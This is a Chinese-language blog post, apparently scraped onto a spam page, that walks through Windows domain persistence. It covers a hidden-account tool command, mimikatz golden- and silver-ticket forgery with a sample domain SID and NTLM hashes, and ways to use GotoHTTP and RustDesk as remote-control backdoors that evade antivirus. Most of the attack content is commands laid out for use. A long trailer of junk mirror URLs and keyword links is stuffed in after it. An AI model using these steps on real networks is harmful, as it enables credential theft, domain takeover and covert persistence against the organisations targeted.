当前位置： 首页 > news >正文 电子商务网站建设课程做精美得ppt网站知乎 news 2025/10/27 10:40:54 电子商务网站建设课程,做精美得ppt网站知乎,做调查赚钱的网站,设计师的网站有哪些0x01权限维持-隐藏用户 CreateHiddenAccount工具 CreateHiddenAccount -u test -p Psswrd用户管理能查看到#xff0c;命令查看看不到#xff0c;单机版无法删除(不在任何组)#xff0c;域环境(在administrator组中)可以删除 0x02权限维持-黄金白银票据 ⻩⾦票据⽣成攻…0x01权限维持-隐藏用户 CreateHiddenAccount工具 CreateHiddenAccount -u test -p Psswrd用户管理能查看到命令查看看不到单机版无法删除(不在任何组)域环境(在administrator组中)可以删除 0x02权限维持-黄金白银票据 ⻩⾦票据⽣成攻击是⽣成有效的TGT Kerberos票据并且不受TGT⽣命周期的影响TGT默认10⼩时最多续订7天这⾥可以为任意⽤户⽣成⻩⾦票据然后为域管理员⽣成TGT这样普通⽤户就可以变成域管理员。 白银票据SILVER TICKET是利用域的服务账户进行伪造的ST在Kerberos认证的第三步Client带着ST和Authenticator3向Server上的某个服务进行请求Server接收到Client的请求之后通过自己的Master Key 解密ST从而获得 Session Key。所以只需要知道Server用户的Hash就可以伪造出一个ST且不会经过KDC但是伪造的门票只对部分服务起作用不需要交互KDC需要知道Server的NTLM Hash。 一、黄金票据 利用条件 1.已经拿下域管理员获取到krbtgt hash 2.利用krbtgt的hash制作黄金票据工具进行攻击 利用 1.获取域的sid值最后4位不要 S-1-5-21-1218902331-2157346161-1782232778 whoami /user whoami /all wmic useraccount get name,sid2.域的KRBTGT账户NTLM-HASHb097d7ed97495408e1537f706c357fc5 mimikatz privilege::debug mimikatz lsadump::lsa /patch3.伪造用户名dbadmin任意用户名 生成票据 mimikatz kerberos::golden /user:dbadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:g 导入内存 mimikatz kerberos::ptt g访问测试 dir \\owa2010cn-god\c$黄金票据总结 该攻击⽅式其实是⼀种后⻔的形式属于第⼆次进⾏攻击的⽅法。 第⼀次拿到域管权限之后需要将krbtgt NTLM hash进⾏保存当第⼆次再来进⾏域渗透攻击时我们就可使⽤krbtgt的NTLM hash制作⻩⾦票据从⽽再次获得域管权限。 二、白银票据 1.已经拿下域管理员获取到DC hash 2.利用DC的hash制作白银票据工具进行攻击 利用 1.获取域的sid值最后4位不要 S-1-5-21-1218902331-2157346161-1782232778 whoami /user whoami /all wmic useraccount get name,sid2.域DC账户NTLM-HASH bfe8cf6709038dd075d4cb5553b56412 mimikatz privilege::debug mimikatz sekurlsa::logonpasswords3.伪造用户名dbbadmin任意用户名 导入票据CIFS文件共享服务 domain域名 sid域环境下的SID除去最后-的部分剩下的内容 target要访问的服务器写FQDN rc4写的是目标主机的NTLM主机名$对应NTLM service要访问的资源类型 user伪造的用户 cifs共享文件 mimikatz kerberos::golden /user:dbadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:owa2010cn-god /service:cifs /rc4:bfe8cf6709038dd075d4cb5553b56412 /ptt失败了 白银票据总结 1.伪造的ST只能访问指定的服务如CIFS 2.不与KDC交互直接访问Server 3.ST由服务账号 NTLM Hash 加密。 #权限维持-远控软件-GotoHTTPRustDesk 一、GotoHTTP 利用场景有网络下需要绕过杀毒等网络防护 B2C模式无需安装控制端软件有浏览器就可以远控。 流量走https协议只要目标放行443端口出口就可以实现内网穿透。 二、 RustDesk 利用场景无需网络需要绕过杀毒等网络防护 1、有网连接 C:\Users\用户名\AppData\Roaming\RustDesk\config 其中ID和密码在RustDesk.toml文件里。 连接 2、无网内网连接IP直连 注意权限问题最好以管理员打开这样才能创建监听端口或使用已开启监听的端口 RustDesk2.toml direct-server Y direct-access-port 8443 文章转载自： http://www.morning.cszbj.cn.gov.cn.cszbj.cn http://www.morning.rgqnt.cn.gov.cn.rgqnt.cn http://www.morning.fkfyn.cn.gov.cn.fkfyn.cn http://www.morning.rhpgk.cn.gov.cn.rhpgk.cn http://www.morning.yldgw.cn.gov.cn.yldgw.cn http://www.morning.qwmsq.cn.gov.cn.qwmsq.cn http://www.morning.gcjhh.cn.gov.cn.gcjhh.cn http://www.morning.zwyuan.com.gov.cn.zwyuan.com http://www.morning.mhwtq.cn.gov.cn.mhwtq.cn http://www.morning.cczrw.cn.gov.cn.cczrw.cn http://www.morning.rnyhx.cn.gov.cn.rnyhx.cn http://www.morning.jjzbx.cn.gov.cn.jjzbx.cn http://www.morning.pwbps.cn.gov.cn.pwbps.cn http://www.morning.jlpdc.cn.gov.cn.jlpdc.cn http://www.morning.lhrcr.cn.gov.cn.lhrcr.cn http://www.morning.cttgj.cn.gov.cn.cttgj.cn http://www.morning.rszwc.cn.gov.cn.rszwc.cn http://www.morning.jpjxb.cn.gov.cn.jpjxb.cn http://www.morning.lgnz.cn.gov.cn.lgnz.cn http://www.morning.xkzmz.cn.gov.cn.xkzmz.cn http://www.morning.ptmsk.cn.gov.cn.ptmsk.cn http://www.morning.sbczr.cn.gov.cn.sbczr.cn http://www.morning.jwefry.cn.gov.cn.jwefry.cn http://www.morning.skfkx.cn.gov.cn.skfkx.cn http://www.morning.tpqrc.cn.gov.cn.tpqrc.cn http://www.morning.jpnfm.cn.gov.cn.jpnfm.cn http://www.morning.rkqkb.cn.gov.cn.rkqkb.cn http://www.morning.tnjkg.cn.gov.cn.tnjkg.cn http://www.morning.tcxk.cn.gov.cn.tcxk.cn http://www.morning.rbzht.cn.gov.cn.rbzht.cn http://www.morning.qgwpx.cn.gov.cn.qgwpx.cn http://www.morning.xqkjp.cn.gov.cn.xqkjp.cn http://www.morning.rftk.cn.gov.cn.rftk.cn http://www.morning.wcgcm.cn.gov.cn.wcgcm.cn http://www.morning.c7507.cn.gov.cn.c7507.cn http://www.morning.ylqb8.cn.gov.cn.ylqb8.cn http://www.morning.gwqcr.cn.gov.cn.gwqcr.cn http://www.morning.tnnfy.cn.gov.cn.tnnfy.cn http://www.morning.yqkmd.cn.gov.cn.yqkmd.cn http://www.morning.yhywr.cn.gov.cn.yhywr.cn http://www.morning.bnfsw.cn.gov.cn.bnfsw.cn http://www.morning.nwjd.cn.gov.cn.nwjd.cn http://www.morning.snjpj.cn.gov.cn.snjpj.cn http://www.morning.wmyqw.com.gov.cn.wmyqw.com http://www.morning.gypcr.cn.gov.cn.gypcr.cn http://www.morning.wjrtg.cn.gov.cn.wjrtg.cn http://www.morning.bkxnp.cn.gov.cn.bkxnp.cn http://www.morning.jfnlj.cn.gov.cn.jfnlj.cn http://www.morning.cbpkr.cn.gov.cn.cbpkr.cn http://www.morning.pwghp.cn.gov.cn.pwghp.cn http://www.morning.ngcsh.cn.gov.cn.ngcsh.cn http://www.morning.fbrshjf.com.gov.cn.fbrshjf.com http://www.morning.kynf.cn.gov.cn.kynf.cn http://www.morning.wpspf.cn.gov.cn.wpspf.cn http://www.morning.hxwrs.cn.gov.cn.hxwrs.cn http://www.morning.cpkcq.cn.gov.cn.cpkcq.cn http://www.morning.qxjck.cn.gov.cn.qxjck.cn http://www.morning.mxgpp.cn.gov.cn.mxgpp.cn http://www.morning.slwqt.cn.gov.cn.slwqt.cn http://www.morning.lwcqh.cn.gov.cn.lwcqh.cn http://www.morning.bgpb.cn.gov.cn.bgpb.cn http://www.morning.mmqng.cn.gov.cn.mmqng.cn http://www.morning.wjqyt.cn.gov.cn.wjqyt.cn http://www.morning.tftw.cn.gov.cn.tftw.cn http://www.morning.wtcd.cn.gov.cn.wtcd.cn http://www.morning.prhfc.cn.gov.cn.prhfc.cn http://www.morning.nfpct.cn.gov.cn.nfpct.cn http://www.morning.cwcdr.cn.gov.cn.cwcdr.cn http://www.morning.mjytr.cn.gov.cn.mjytr.cn http://www.morning.djpzg.cn.gov.cn.djpzg.cn http://www.morning.kpcky.cn.gov.cn.kpcky.cn http://www.morning.bbmx.cn.gov.cn.bbmx.cn http://www.morning.xwnnp.cn.gov.cn.xwnnp.cn http://www.morning.wqkfm.cn.gov.cn.wqkfm.cn http://www.morning.kcrw.cn.gov.cn.kcrw.cn http://www.morning.wrlxt.cn.gov.cn.wrlxt.cn http://www.morning.bnpcq.cn.gov.cn.bnpcq.cn http://www.morning.rqjxc.cn.gov.cn.rqjxc.cn http://www.morning.gfqj.cn.gov.cn.gfqj.cn http://www.morning.dpjtn.cn.gov.cn.dpjtn.cn 查看全文 http://www.tj-hxxt.cn/news/253612.html 相关文章： 建网站公建网站公司长春做网络推广的公司 自助建站免费永久做哪个网站的直播好 海口顶尖网站建设销售珍珠网站建设策划书 建站素材网站模板昆明软件开发公司排名 怎么做网站的跳转威海电子商务网站建设 dw做网站的流程app开发公司需要多少人 html个人网站完整代码常用知名购物网站 做微商自己建网站合适吗盛大游戏优化大师 网站建设需要哪些的ps极简主题wordpress 个人网站有什么内容青岛房产网二手房最新信息 企业网站建设服务电话聚美优品一个专注于做特价的网站 做写字楼租赁用什么网站好手机创建微信公众号 手机如何建免费网站有哪些公众号是小黄油的 南阳网站推广公司wordpress多张产品图片 购物网站后台设计网络研发工程师 辽宁省工程招投标信息网优化方案2021版英语答案 人工智能网站建设廊坊网站建设精灵 用自己照片做衣服 杯子的是哪个网站做网站需要什么 网站开发应财务如何记账wordpress的静态页面 爱站关键词挖掘家在深圳坂田业主论坛 网站建设公司怎学校网站 源码 h5网站制作报价香山网站建设 永康做网站公司做网站还有前景么 多个wordpress站点同步开源之家 做网站属于技术开发吗一个二手书网站的建设目标 域名链接网站网络热词作文 刚察县公司网站建设宁波网站建设网站开发 专门做评论的网站微信平台开发公司 公司网站建设吧个好免费网络游戏排行榜 制作网站的公司叫什么网站建设都一般步骤
